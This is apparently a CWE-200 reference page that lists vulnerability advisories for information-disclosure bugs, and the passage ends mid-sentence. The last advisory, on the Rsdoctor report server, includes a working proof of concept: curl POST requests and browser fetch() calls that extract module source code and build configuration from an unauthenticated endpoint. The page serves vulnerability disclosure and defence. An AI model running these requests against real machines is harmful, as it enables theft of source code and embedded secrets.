CWE-200
Weakness DiscouragedExposure of Sensitive Information to an Unauthorized Actor
Abstraction: Class · Status: Draft
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
Technical nuance
There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include:
private, personal information, such as personal messages, financial data, health records, geographic location, or contact details
system status and environment, such as the operating system and installed packages
business secrets and intellectual property
network status and configuration
the product's own code or internal state
metadata, e.g. logging of connections or message headers
indirect information, such as a discrepancy between two internal operations that can be observed by an outsider
Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include:
the product's own users
people or organizations whose information is created or used by the product, even if they are not direct product users
the product's administrators, including the admins of the system(s) and/or networks on which the product operates
the developer
Information exposures can occur in different ways:
the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized"
a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program.
the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place.
Mapping guidance
CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information. Unfortunately, CWE-200 is commonly misused to represent the loss of confidentiality in a vulnerability. From the CWE perspective, loss of confidentiality is a technical impact, not a root cause error. Loss of confidentiality can arize from many different weaknesses, such as insecure file permissions or out-of-bounds read. As of CWE 4.20, over 400 CWE entries can lead to a loss of confidentiality. Other options are often available. [REF-1287].
If an error or mistake causes information to be disclosed, then use the CWE ID for that error.
Modes of introduction
Detection methods
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Inter-application Flow Analysis
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Fuzz Tester
Framework-based Fuzzer
Automated Monitored Execution
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
Source code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Attack Modeling
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Content history
Identified incorrect language tag in demonstrative example.
updated Time_of_Introduction
updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Alternate_Terms, Description, Name
updated Taxonomy_Mappings
updated Related_Attack_Patterns
updated Description, Relationships
updated Common_Consequences
updated Related_Attack_Patterns, Relationships
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, References
updated Related_Attack_Patterns
updated Detection_Factors, Relationships
updated Relationships
updated Related_Attack_Patterns
updated References
updated Related_Attack_Patterns
updated Related_Attack_Patterns, Relationships
updated Demonstrative_Examples, Observed_Examples, Relationships
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Related_Attack_Patterns, Relationships, Weakness_Ordinalities
updated Relationships
updated Alternate_Terms, Description, Maintenance_Notes, Related_Attack_Patterns, Relationships
updated Potential_Mitigations
updated Relationships
updated Relationships
updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples, References
updated References, Relationships
updated Mapping_Notes
updated Observed_Examples
updated Relationships
updated Relationships
updated Detection_Factors, References
updated Applicable_Platforms, Relationships
updated Maintenance_Notes, Mapping_Notes
updated Alternate_Terms, Description, Mapping_Notes, Relationships, Technical_Nuance
16450 vulnerabilities reference this CWE, most recent first.
GHSA-JM6Q-95RX-RP99
Vulnerability from github – Published: 2022-05-17 03:03 – Updated: 2022-05-17 03:03An information disclosure vulnerability in visualizer/EffectVisualizer.cpp in libeffects in Mediaserver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it could be used to access sensitive data without permission. Product: Android. Versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1. Android ID: A-31781965.
{
"affected": [],
"aliases": [
"CVE-2017-0396"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-01-12T20:59:00Z",
"severity": "MODERATE"
},
"details": "An information disclosure vulnerability in visualizer/EffectVisualizer.cpp in libeffects in Mediaserver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it could be used to access sensitive data without permission. Product: Android. Versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1. Android ID: A-31781965.",
"id": "GHSA-jm6q-95rx-rp99",
"modified": "2022-05-17T03:03:57Z",
"published": "2022-05-17T03:03:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0396"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/av/+/557bd7bfe6c4895faee09e46fc9b5304a956c8b7"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2017-01-01.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95232"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JM74-36VR-69GX
Vulnerability from github – Published: 2023-08-21 18:31 – Updated: 2024-04-04 07:04The InfiniteWP Client plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 1.11.1 via the 'admin_notice' function. This can allow authenticated attackers with subscriber-level permissions or above to extract sensitive data including configuration. It can only be exploited if the plugin has not been configured yet. If combined with another arbitrary plugin installation and activation vulnerability, it may be possible to connect a site to InfiniteWP which would make remote management possible and allow for elevation of privileges.
{
"affected": [],
"aliases": [
"CVE-2023-2916"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-15T09:15:09Z",
"severity": "MODERATE"
},
"details": "The InfiniteWP Client plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 1.11.1 via the \u0027admin_notice\u0027 function. This can allow authenticated attackers with subscriber-level permissions or above to extract sensitive data including configuration. It can only be exploited if the plugin has not been configured yet. If combined with another arbitrary plugin installation and activation vulnerability, it may be possible to connect a site to InfiniteWP which would make remote management possible and allow for elevation of privileges.",
"id": "GHSA-jm74-36vr-69gx",
"modified": "2024-04-04T07:04:54Z",
"published": "2023-08-21T18:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2916"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/iwp-client/tags/1.11.1/core.class.php#L365"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2925897/iwp-client#file4"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa157c80-447f-4406-9e49-9cc6208b7b19?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JM74-GGQ4-24RH
Vulnerability from github – Published: 2022-05-13 01:28 – Updated: 2022-05-13 01:28The web-based management UI in Palo Alto Networks PAN-OS 4.0.x before 4.0.8 allows remote attackers to obtain verbose error information via crafted input, aka Ref ID 33139.
{
"affected": [],
"aliases": [
"CVE-2012-6590"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-08-31T17:55:00Z",
"severity": "MODERATE"
},
"details": "The web-based management UI in Palo Alto Networks PAN-OS 4.0.x before 4.0.8 allows remote attackers to obtain verbose error information via crafted input, aka Ref ID 33139.",
"id": "GHSA-jm74-ggq4-24rh",
"modified": "2022-05-13T01:28:26Z",
"published": "2022-05-13T01:28:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-6590"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2012-6590"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JM79-7XHW-6F6F
Vulnerability from github – Published: 2025-06-10 14:14 – Updated: 2025-06-10 15:35Summary
The GeoWebCache home page includes version and revision information about the software in use. This information is sensitive from a security point of view because it allows software used by the server to be easily identified.
Details
org.geowebcache.GeoWebCacheDispatcher.handleFrontPage(HttpServletRequest, HttpServletResponse) has no check to hide potentially sensitive information from users except for a hidden system property to hide the storage locations that defaults to showing the locations.
PoC
Just open http://localhost:8080/geoserver/gwc/
Impact
In addition to exposing the version and revision information, the home page will expose the config file and storage locations which may expose the system's temp directory location and whether or not GeoServer is running in a Windows operating system. The approximate server start time and some basic GWC usage information is also exposed.
References
https://osgeo-org.atlassian.net/browse/GEOS-11677 https://github.com/geoserver/geoserver/pull/8189 https://github.com/GeoWebCache/geowebcache/issues/1344 https://github.com/GeoWebCache/geowebcache/pull/1345
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.geoserver.web:gs-web-app"
},
"ranges": [
{
"events": [
{
"introduced": "2.26.0"
},
{
"fixed": "2.26.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.geoserver.web:gs-web-app"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.25.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.geoserver:gs-gwc"
},
"ranges": [
{
"events": [
{
"introduced": "2.26.0"
},
{
"fixed": "2.26.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.geoserver:gs-gwc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.25.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-38524"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-10T14:14:08Z",
"nvd_published_at": "2025-06-10T15:15:22Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe GeoWebCache home page includes version and revision information about the software in use. This information is sensitive from a security point of view because it allows software used by the server to be easily identified.\n\n### Details\norg.geowebcache.GeoWebCacheDispatcher.handleFrontPage(HttpServletRequest, HttpServletResponse) has no check to hide potentially sensitive information from users except for a hidden system property to hide the storage locations that defaults to showing the locations.\n\n### PoC\nJust open http://localhost:8080/geoserver/gwc/\n\n### Impact\nIn addition to exposing the version and revision information, the home page will expose the config file and storage locations which may expose the system\u0027s temp directory location and whether or not GeoServer is running in a Windows operating system. The approximate server start time and some basic GWC usage information is also exposed.\n\n### References\nhttps://osgeo-org.atlassian.net/browse/GEOS-11677\nhttps://github.com/geoserver/geoserver/pull/8189\nhttps://github.com/GeoWebCache/geowebcache/issues/1344\nhttps://github.com/GeoWebCache/geowebcache/pull/1345",
"id": "GHSA-jm79-7xhw-6f6f",
"modified": "2025-06-10T15:35:27Z",
"published": "2025-06-10T14:14:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-jm79-7xhw-6f6f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38524"
},
{
"type": "WEB",
"url": "https://github.com/GeoWebCache/geowebcache/issues/1344"
},
{
"type": "WEB",
"url": "https://github.com/GeoWebCache/geowebcache/pull/1345"
},
{
"type": "WEB",
"url": "https://github.com/geoserver/geoserver/pull/8189"
},
{
"type": "PACKAGE",
"url": "https://github.com/geoserver/geoserver"
},
{
"type": "WEB",
"url": "https://osgeo-org.atlassian.net/browse/GEOS-11677"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "GWC Home Page communicate version and revision information"
}
GHSA-JM79-9PM4-VRW9
Vulnerability from github – Published: 2023-07-11 22:46 – Updated: 2023-07-11 22:46Note: added the actual report as a comment.
Summary
Decidim, a platform for digital citizen participation, uses a third-party library named Ransack for filtering certain database collections (e.g., public meetings). By default, this library allows filtering on all data attributes and associations. This allows an unauthenticated remote attacker to exfiltrate non-public data from the underlying database of a Decidim instance (e.g., exfiltrating data from the user table).
Impact
This issue may lead to Sensitive Data Disclosure.
Patches
The problem was patched in v0.27.3.
Workarounds
Disable or unpublish all meetings components from your application.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "decidim"
},
"ranges": [
{
"events": [
{
"introduced": "0.27.0"
},
{
"fixed": "0.27.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "decidim-meetings"
},
"ranges": [
{
"events": [
{
"introduced": "0.27.0"
},
{
"fixed": "0.27.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34090"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-11T22:46:51Z",
"nvd_published_at": "2023-07-11T18:15:16Z",
"severity": "HIGH"
},
"details": "Note: added the actual report as a [comment](https://github.com/decidim/decidim/security/advisories/GHSA-jm79-9pm4-vrw9#advisory-comment-81110).\n\n### Summary\n\nDecidim, a platform for digital citizen participation, uses a third-party library named Ransack for filtering certain database collections (e.g., public meetings). By default, this library allows filtering on all data attributes and associations. This allows an unauthenticated remote attacker to exfiltrate non-public data from the underlying database of a Decidim instance (e.g., exfiltrating data from the user table).\n\n### Impact\nThis issue may lead to Sensitive Data Disclosure.\n\n### Patches\nThe problem was patched in [v0.27.3](https://github.com/decidim/decidim/releases/tag/v0.27.3).\n\n### Workarounds\nDisable or unpublish all meetings components from your application.",
"id": "GHSA-jm79-9pm4-vrw9",
"modified": "2023-07-11T22:46:51Z",
"published": "2023-07-11T22:46:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/decidim/decidim/security/advisories/GHSA-jm79-9pm4-vrw9"
},
{
"type": "WEB",
"url": "https://github.com/decidim/decidim/security/advisories/GHSA-jm79-9pm4-vrw9#advisory-comment-81110"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34090"
},
{
"type": "PACKAGE",
"url": "https://github.com/decidim/decidim"
},
{
"type": "WEB",
"url": "https://github.com/decidim/decidim/releases/tag/v0.27.3"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/decidim-meetings/CVE-2023-34090.yml"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/decidim/CVE-2023-34090.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Decidim vulnerable to sensitive data disclosure"
}
GHSA-JM85-VM3H-HJ2V
Vulnerability from github – Published: 2024-12-27 12:30 – Updated: 2024-12-27 12:30There is an information disclosure vulnerability in several smartphones. The system has a logic judging error under certain scenario, the attacker should gain the permit to execute commands in ADB mode and then do a series of operation on the phone. Successful exploit could allow the attacker to gain certain information from certain apps locked by Applock. (Vulnerability ID: HWPSIRT-2019-07112)
This vulnerability has been assigned a Common Vulnerabilities and Exposures (CVE) ID: CVE-2020-9082.
{
"affected": [],
"aliases": [
"CVE-2020-9082"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-27T10:15:11Z",
"severity": "LOW"
},
"details": "There is an information disclosure vulnerability in several smartphones. The system has a logic judging error under certain scenario, the attacker should gain the permit to execute commands in ADB mode and then do a series of operation on the phone. Successful exploit could allow the attacker to gain certain information from certain apps locked by Applock. (Vulnerability ID: HWPSIRT-2019-07112)\n\nThis vulnerability has been assigned a Common Vulnerabilities and Exposures (CVE) ID: CVE-2020-9082.",
"id": "GHSA-jm85-vm3h-hj2v",
"modified": "2024-12-27T12:30:35Z",
"published": "2024-12-27T12:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9082"
},
{
"type": "WEB",
"url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20200826-16-smartphone-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JMC5-W94V-7P94
Vulnerability from github – Published: 2022-05-14 02:47 – Updated: 2025-04-12 13:01Cisco EPC3928 devices allow remote attackers to obtain sensitive configuration and credential information by making requests during the early part of the boot process, related to a "Boot Information Disclosure" issue, aka Bug ID CSCux17178.
{
"affected": [],
"aliases": [
"CVE-2016-1337"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-07-03T21:59:00Z",
"severity": "HIGH"
},
"details": "Cisco EPC3928 devices allow remote attackers to obtain sensitive configuration and credential information by making requests during the early part of the boot process, related to a \"Boot Information Disclosure\" issue, aka Bug ID CSCux17178.",
"id": "GHSA-jmc5-w94v-7p94",
"modified": "2025-04-12T13:01:44Z",
"published": "2022-05-14T02:47:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-1337"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/39904"
},
{
"type": "WEB",
"url": "http://secorda.com/multiple-security-vulnerabilities-affecting-cisco-epc3928"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/538627/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/91541"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JMC8-XH8J-R599
Vulnerability from github – Published: 2022-05-24 17:14 – Updated: 2022-05-24 17:14An information disclosure vulnerability exists when the Microsoft Windows Graphics Component improperly handles objects in memory, aka 'Microsoft Graphics Component Information Disclosure Vulnerability'. This CVE ID is unique from CVE-2020-0982, CVE-2020-0987.
{
"affected": [],
"aliases": [
"CVE-2020-1005"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-15T15:15:00Z",
"severity": "LOW"
},
"details": "An information disclosure vulnerability exists when the Microsoft Windows Graphics Component improperly handles objects in memory, aka \u0027Microsoft Graphics Component Information Disclosure Vulnerability\u0027. This CVE ID is unique from CVE-2020-0982, CVE-2020-0987.",
"id": "GHSA-jmc8-xh8j-r599",
"modified": "2022-05-24T17:14:36Z",
"published": "2022-05-24T17:14:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1005"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1005"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JMCP-XJ8Q-M5MX
Vulnerability from github – Published: 2022-05-24 17:11 – Updated: 2022-05-24 17:11Aquaforest TIFF Server 4.0 allows Unauthenticated File and Directory Enumeration via tiffserver/tssp.aspx.
{
"affected": [],
"aliases": [
"CVE-2020-9323"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-03-18T14:15:00Z",
"severity": "MODERATE"
},
"details": "Aquaforest TIFF Server 4.0 allows Unauthenticated File and Directory Enumeration via tiffserver/tssp.aspx.",
"id": "GHSA-jmcp-xj8q-m5mx",
"modified": "2022-05-24T17:11:51Z",
"published": "2022-05-24T17:11:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9323"
},
{
"type": "WEB",
"url": "https://www.aquaforest.com/en/release_history.asp"
},
{
"type": "WEB",
"url": "https://www.criticalstart.com/multiple-vulnerabilities-discovered-in-tiff-server-from-aquaforest"
},
{
"type": "WEB",
"url": "https://www.criticalstart.com/resources"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JMG2-RCXH-W8Q3
Vulnerability from github – Published: 2026-09-24 19:42 – Updated: 2026-09-24 19:42Summary
The default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces (0.0.0.0) and serves a POST /api/data/key endpoint with no authentication and wildcard CORS (Access-Control-Allow-Origin: *). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (moduleCodeMap), serialized build configuration (configs), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer.
Details
Root cause: server binds to all interfaces with no authentication and no key allowlist.
The vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path:
1. Server binds to 0.0.0.0 (all interfaces)
packages/utils/src/build/server.ts:107 calls server.listen(port, callback) without a host argument. Node.js defaults to 0.0.0.0, exposing the server on every network interface of the developer's machine, including LAN interfaces.
// packages/utils/src/build/server.ts:83,107
server.listen(port, () => { // no host → 0.0.0.0
resolve(res);
});
2. Wildcard CORS enabled unconditionally
packages/sdk/src/sdk/server/index.ts:106 applies cors() middleware with no origin restriction, and :203–204 additionally sets Access-Control-Allow-Origin: * explicitly on every API response, allowing cross-origin browser requests from any domain.
// packages/sdk/src/sdk/server/index.ts:106
this.app.use(cors());
// :203
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
3. POST /api/data/key registered with no authentication middleware
packages/sdk/src/sdk/server/apis/data.ts:6 registers the route via @Router.post. There is no authentication guard, token check, or session validation anywhere in the middleware chain.
// packages/sdk/src/sdk/server/apis/data.ts:6,13,29
@Router.post(SDK.ServerAPI.API.LoadDataByKey)
public async loadDataByKey() {
let { key } = req.body as SDK.ServerAPI.InferRequestBodyType<SDK.ServerAPI.API.LoadDataByKey>;
const data = await this.loadData(key);
return data;
}
4. key is passed to getStoreData() without an allowlist
packages/sdk/src/sdk/server/apis/base.ts:29–39 indexes the entire SDK data store directly using the attacker-controlled key, including dot-path traversal for nested keys.
// packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36
const data = this.ctx.sdk.getStoreData();
let res = data[key];
if (key.includes(sep)) {
res = key.split(sep).reduce((t, k) => t[k], data);
}
return res;
Source-to-sink data flow:
| Step | Location | Description |
|---|---|---|
| 1 | packages/rspack-plugin/src/plugin.ts:111 |
Plugin bootstraps the SDK server during build |
| 2 | packages/core/src/inner-plugins/utils/config.ts:98,110–115 |
disableClientServer defaults to false; server starts in all non-CI builds |
| 3 | packages/utils/src/build/server.ts:83,107 |
HTTP server created and bound to 0.0.0.0 |
| 4 | packages/sdk/src/sdk/server/index.ts:106,203 |
Wildcard CORS applied unconditionally |
| 5 | packages/sdk/src/sdk/server/apis/data.ts:6,13,29 |
Attacker key accepted from request body |
| 6 | packages/sdk/src/sdk/server/apis/base.ts:29,36,39 |
key indexes sdk.getStoreData() with no allowlist |
| 7 | packages/sdk/src/sdk/sdk/index.ts:487,491 |
moduleCodeMap getter calls _moduleGraph.toCodeData() |
| 8 | packages/graph/src/graph/module-graph/graph.ts:464–469 |
toCodeData() returns all module source objects |
| 9 | packages/graph/src/graph/module-graph/module.ts:248–250 |
Each module exposes source, transformed, and parsedSource |
| 10 | packages/sdk/src/sdk/server/router.ts:119,125 |
Serialized result written to HTTP response |
Default configuration ensures source code is captured:
packages/core/src/inner-plugins/utils/config.ts shows that noModuleSource, noAssetsAndModuleSource, and noCode all default to false, causing normalizeReportType to return SDK.ToDataType.Normal. This means module source code is stored in the SDK data store by default and retrievable via the moduleCodeMap key.
PoC
Original PoC
Environment setup:
# Create and enter a temporary project directory
mkdir /tmp/rsdoctor-poc && cd /tmp/rsdoctor-poc
pnpm init
# Install the vulnerable version
pnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/rspack-plugin@1.5.11
# Create a source file embedding a secret
mkdir src
cat > src/index.js <<'EOF'
const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';
console.log(INTERNAL_API_KEY);
EOF
# Create rspack config with the Rsdoctor plugin (default settings)
cat > rspack.config.js <<'EOF'
const { RsdoctorRspackPlugin } = require('@rsdoctor/rspack-plugin');
module.exports = {
mode: 'development',
entry: './src/index.js',
output: { path: __dirname + '/dist', filename: 'bundle.js' },
plugins: [new RsdoctorRspackPlugin()]
};
EOF
# Run rspack — the Rsdoctor HTTP server starts automatically
pnpm rspack -c rspack.config.js
# Note the printed port, e.g.: http://<lan-ip>:3717/index.html
Exploit (from any host on the same LAN, no authentication):
# Primary probe: exfiltrate all module source code
curl -s "http://<victim-lan-ip>:<port>/api/data/key" \
-H 'Content-Type: application/json' \
--data '{"key":"moduleCodeMap"}'
# Response: full source code of every compiled module, including secrets
Expected response (excerpt):
{
"...": "...",
"source": "const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';\nconsole.log(INTERNAL_API_KEY);\n",
"...": "..."
}
Secondary probe: exfiltrate build configuration and local paths:
curl -s "http://<victim-lan-ip>:<port>/api/data/key" \
-H 'Content-Type: application/json' \
--data '{"key":"configs"}'
# Response: 9,278 bytes of serialized build configuration including absolute file paths
Automated PoC (Docker-based, self-contained reproduction):
The Docker-based reproduction builds and starts the vulnerable project inside a container, then executes poc.py to confirm source code exfiltration. The PoC embeds the marker string rsdoctor-vuln-001-secret-EXFIL-abc123 in the compiled source and asserts its presence in the unauthenticated API response:
============================================================
VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak
============================================================
[*] Detected Rsdoctor server on port: 3717 (after 3s)
[*] Running PoC exploit against http://127.0.0.1:3717 ...
[*] Target URL : http://127.0.0.1:3717/api/data/key
[*] Payload : {"key": "moduleCodeMap"}
[*] Auth header : (none)
[+] HTTP status : 200
[+] Response size: 738 bytes
[+] SECRET MARKER FOUND IN RESPONSE: 'rsdoctor-vuln-001-secret-EXFIL-abc123'
[+] Context around secret:
...NEVER be able to read this content via an unauthenticated HTTP API.
const RSDOCTOR_SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123";
console.log(RSDOCTOR_SECRET_MARKER);
module.exports = { secret: RSDOCTOR_SECRET_MARKER };
...
[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API
[+] Secondary probe (key=configs) status: 200, size: 9,278 bytes
Recommended patch:
--- a/packages/utils/src/build/server.ts
+++ b/packages/utils/src/build/server.ts
-export async function createServer(port: number): Promise<{
+export async function createServer(
+ port: number,
+ host = '127.0.0.1',
+): Promise<{
- server.listen(port, () => {
+ server.listen(port, host, () => {
resolve(res);
});
--- a/packages/sdk/src/sdk/server/index.ts
+++ b/packages/sdk/src/sdk/server/index.ts
public get host(): string {
- const host = getLocalIpAddress();
- return host;
+ return '127.0.0.1';
}
- this._server = await Server.createServer(port);
+ this._server = await Server.createServer(port, this.host);
- this.app.use(cors());
- res.setHeader('Access-Control-Allow-Origin', '*');
- res.setHeader('Access-Control-Allow-Credentials', 'true');
Minimal browser-based PoC
A malicious website can also attempt to read data from a local Rsdoctor report server by sending a browser request to 127.0.0.1 or localhost.
fetch('http://127.0.0.1:<rsdoctor-port>/api/data/key', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
key: 'moduleCodeMap',
}),
})
.then((res) => res.json())
.then(console.log);
If the report server is reachable over the local network, an attacker may also target the victim machine's LAN address:
fetch('http://<victim-lan-ip>:<rsdoctor-port>/api/data/key', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
key: 'moduleCodeMap',
}),
})
.then((res) => res.json())
.then(console.log);
In affected versions, the response may contain sensitive build metadata or compiled module source code.
Impact
This is an unauthenticated remote information disclosure vulnerability. Any attacker who can reach the developer's machine over the network (LAN, VPN, shared Wi-Fi, corporate network) can retrieve:
- Full JavaScript source code of every module compiled during the build, including any secrets, API keys, or proprietary business logic embedded in the source (
moduleCodeMap) - Serialized build configuration, including absolute local file paths, resolver settings, and plugin configurations (
configs) - Build errors that may contain stack traces with internal paths (
errors) - Environment information (
envinfo)
The server is started automatically whenever a developer runs a build with the Rsdoctor plugin outside of a CI environment (disableClientServer defaults to false). No user interaction or special configuration is required from the victim. A single unauthenticated HTTP POST request is sufficient to exfiltrate all module source code.
Impacted parties include individual developers and organizations whose developers run Rsdoctor on machines connected to any shared or semi-trusted network, and any CI system that runs Rsdoctor in a non-CI-detected environment.
Patched Behavior
The patched version changes the report server's default security model:
- The report server binds to
127.0.0.1by default. - Default CORS no longer allows arbitrary origins.
- Default CORS only allows local origins such as
